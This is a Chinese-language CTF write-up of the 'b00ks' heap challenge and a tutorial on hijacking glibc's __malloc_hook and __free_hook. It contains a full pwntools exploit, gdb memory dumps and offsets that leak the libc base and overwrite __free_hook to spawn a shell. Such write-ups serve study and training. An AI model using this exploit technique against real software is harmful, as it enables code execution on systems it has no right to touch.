可以发现,如果用“name”把“list_1”尾字节覆盖为“\x00”,程序就会把“fake_list”识别为“list_1”,接着如果用“show”打印,就可以泄露写入的数据

其中“bookname2”会被泄露出来,而“bookname2”是用mmap函数申请的

这里有一个知识:

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x563fc9c00000 0x563fc9c02000 r-xp 2000 0 /home/ywhkkx/桌面/b00ks
0x563fc9e01000 0x563fc9e02000 r--p 1000 1000 /home/ywhkkx/桌面/b00ks
0x563fc9e02000 0x563fc9e03000 rw-p 1000 2000 /home/ywhkkx/桌面/b00ks
0x563fcb86d000 0x563fcb88e000 rw-p 21000 0 [heap]
0x7ff6d3dcf000 0x7ff6d3e13000 rw-p 44000 0 [anon_7ff6d3dcf]
0x7ff6d3e13000 0x7ff6d3e38000 r--p 25000 0 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ff6d3e38000 0x7ff6d3fb0000 r-xp 178000 25000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ff6d3fb0000 0x7ff6d3ffa000 r--p 4a000 19d000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ff6d3ffa000 0x7ff6d3ffb000 ---p 1000 1e7000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
-------------------------------------------------------------------------
[+] bookname2 >>0x7ff6d3df1010

bookname2(0x7ff6d3df1010):第一次用mmap函数获取的地址

/usr/lib/x86_64-linux-gnu/libc-2.31.so(0x7ff6d3e13000):libc基址

1
2
3
4
5
In [4]: 0x7ff6d3e13000-0x7ff6d3df1010
Out[4]: 139248

In [5]: hex(139248)
Out[5]: '0x21ff0'

两者的差值是一个常数(不同的libc文件偏移不同,甚至可能是负数,需要用GDB看)

那么“libc_base”就可以被计算出来,就可以用“free_hook”来get shell了

1
2
3
4
5
6
7
8
9
10
11
libc_base = bookname2 + 0x21ff0 
success('libc_base >>'+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
#one_gadget = libc_base + 0xe6c81
system = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
success('system >>'+hex(system))

change(1, p64(bin_sh) + p64(free_hook))
change(2, p64(system))
free(2)

编辑“list_1_description”,实际上写入了“list_2”

1
2
3
0x55c18a470400:	0x0000000000000001	0x000055c18a4704c8	#fake_list
0x55c18a470410: 0x000055c18a4704c8 0x0000000000001000 #fake_description(list_2)
0x55c18a470420: 0x0000000000000000 0x0000000000000000
1
2
3
0x55c18a4704c0:	0x0000000000000002	addr("/bin/sh")		#list_2
0x55c18a4704d0: addr(free_hook) 0x0000000000021000
0x55c18a4704e0: 0x0000000000000000 0x000000000001fb21

编辑“list_2_description”,在“free_hook”中写入“system”

执行“free(2)”时,就会执行“free_hook”挂钩的函数“system”

1641487724350

而“list_2”的“list_addr + 8”中被写入了”/bin/sh”,这里就相当于执行了“ system(“/bin/sh”) ”

当然用“one_gadget”也可以:

1
2
3
4
5
6
7
8
9
10
11
libc_base = bookname2 + 0x21ff0 
success('libc_base >> '+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0xe6c81
#system = libc_base + libc.sym['system']
#bin_sh = libc_base + libc.search('/bin/sh').next()
success('one_gadget >> '+hex(one_gadget))

change(1, p64(0) + p64(free_hook))
change(2, p64(one_gadget))
free(2)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import*

p=process('./b00ks')
elf=ELF('./b00ks')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
#context(log_level='debug')

def create(len_book,bookname,len_description,description):
p.sendlineafter('> ','1')
p.sendlineafter('Enter book name size: ',str(len_book))
p.sendlineafter('(Max 32 chars): ',bookname)
p.sendlineafter('description size: ',str(len_description))
p.sendlineafter('description: ',description)

def free(index):
p.sendlineafter('> ','2')
p.sendlineafter('delete: ',str(index))

def change(index,description):
p.sendlineafter('> ','3')
p.sendlineafter('want to edit: ',str(index))
p.sendlineafter('book description: ',description)

def show():
p.sendlineafter('> ','4')

def change_name(name):
p.sendlineafter('> ', '5')
p.sendlineafter(': ', name)

p.recvuntil('Enter author name: ')
payload='a'*32
p.sendline(payload)

create(0xe0, 'aaaa', 0xe0, 'bbbb')
show()
p.recvuntil('Author: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
list1_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
list2_addr=list1_addr+0x30

success("list1_addr >> "+hex(list1_addr))
success("list2_addr >> "+hex(list2_addr))

create(0x21000, 'cccc', 0x21000, 'dddd')
payload = 'a' * 0x60 + p64(1) + p64(list2_addr + 8) * 2 + p64(0x1000)
change(1,payload)

change_name('a'*0x20)
show()
p.recvuntil('Name: ')
bookname2 = u64(p.recv(6).ljust(8, '\x00'))
success('bookname2 >> '+hex(bookname2))

libc_base = bookname2 + 0x21ff0
success('libc_base >> '+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0xe6c81
system = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
success('system >> '+hex(system))

#gdb.attach(p)
#pause()

change(1, p64(bin_sh) + p64(free_hook))
pause()
change(2, p64(one_gadget))
free(2)

p.interactive()
1
2
3
4
5
[+] list1_addr >> 0x563929e21490
[+] list2_addr >> 0x563929e214c0
[+] bookname2 >> 0x7fc022a21010
[+] libc_base >> 0x7fc022a43000
[+] system >> 0x7fc022a98410

PS:

本程序服务器的libc版本为“libc-2.23.so”可以利用这种方式来打

但“libc-2.29.so”以后假如了两行代码:

1
2
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");

如果“list_2”的“presize”不等于“list_1”的“size”,程序就会报错

导致以下代码没法执行:

1
change(1, p64(bin_sh) + p64(free_hook)) #这个'list_1'是伪造的

Ptmalloc算法:hook劫持

利用hook机制,把某个函数的hook劫持为shellcode

这种技术在堆利用中很常见,想要了解它,必须先了解hook机制


钩子hook

hook直意为钩子又叫做回调函数,是一种特殊的消息处理机制,它可以监视系统或者进程中的各种事件消息,截获发往目标窗口的消息并进行处理

在程序中设置钩子,用来在 mallocreallocfree 的时候,对其进行检查,可以看到对应的函数调用后的地址是什么

原理:

hook本质上就是一个函数指针,可以指向不同的函数,从而完成不同的功能

设计理念:

我们在写main函数的时候,可能还不知道它会完成什么功能,这时候留下函数指针作为接口,可以挂上不同的函数完成不同的功能,究竟执行什么功能由钩子函数的编写者完成,钩子的出现体系了程序模块化的思想

案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include "stdio.h"

void fun1(void)
{
printf("i am fun1\r\n");
}

void fun2(void)
{
printf("i am fun2\r\n");
}

int main(int argc, char const *argv[])
{
void (* fun)(void); //定义一个函数指针

fun = fun1; // 让fun指向fun1(首地址)
fun(); // 执行fun

fun = fun2; // 让fun指向fun2(首地址)
fun(); // 执行fun

return 0;
}
1
2
3
➜  [/home/ywhkkx/桌面] ./test
i am fun1
i am fun2

这里的函数“fun1”和函数“fun2”就是hook把函数指针fun指向fun1和fun2的过程称为“挂钩子”

libc中的hook

libc中最常见,也是堆利用中最常见的两种hook:malloc_hook,free_hook

接下来以“malloc_hook”为例,分析一下hook的具体实现:

ptmalloc 定义了一个全局钩子 malloc_hook,这个钩子会被赋值为 malloc_hook_ini 函数

1
2
void *weak_variable (*__malloc_hook)
(size_t __size, const void *) = malloc_hook_ini;

而函数malloc会调用 malloc_hook ,那么在 第一次调用malloc函数 时会执行 malloc_hook,也就是执行了 malloc_hook_ini

1
2
3
4
5
6
7
static void *
malloc_hook_ini (size_t sz, const void *caller)
{
__malloc_hook = NULL;
ptmalloc_init ();
return __libc_malloc (sz);
}

可见在 malloc_hook_ini 会把 malloc_hook 置空,然后调用 ptmalloc_init 函数,完成对 ptmalloc 的初始化,最后再次调用 malloc_hook,但是这次的 malloc_hook 已经置空,从而继续执行剩下的代码

第一次调用:

1
malloc(__libc_malloc) -> __malloc_hook(malloc_hook_ini) -> ptmalloc_init -> __libc_malloc -> _int_malloc

再次调用:

1
malloc(__libc_malloc) -> _int_malloc
  • malloc_hook_ini:对malloc_hook进行初始化的函数,代码已给出
  • ptmalloc_init:对整个ptmalloc框架进行初始化的函数,以后分析
  • __libc_malloc:用于初始化malloc,以后分析
  • _int_malloc:用于内存分配的函数,是ptmalloc的核心点,以后分析

最后,malloc_hook会指向一个“检查函数”

1
void * function(size_t size, void * caller)

caller:表示用malloc申请空间的“可写入地址”( fd&bk 所在处)

使用malloc的时候就可以返回其“可写入地址”了

hook劫持

hook劫持的基本操作就是:在hook的地址中写入shellcode的地址,可以把hook地址写在某个固定地址上,然后在这个地址中写入shellcode,这样就挂钩完毕了

那么问题的关键就是找hook的地址:

一,如果知道libc版本,可以直接引入libc库,用ELF工具进行查找

1
2
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']

这种方法需要泄露libc基地址

二,还可以用“main_arena”来定位“malloc_hook”

malloc_hook位于main_arena上方16字节

当small chunk被释放时,它的fd、bk指向一个指针,这个指针指向top chunk地址,这个指针保存在“main_arena+0x58”

找到合适的small chunk再free掉,然后通过“main_arena”获取“malloc_hook”

​ // 等到分析 Unsortedbin attack 的时候,再分析这种hook劫持技术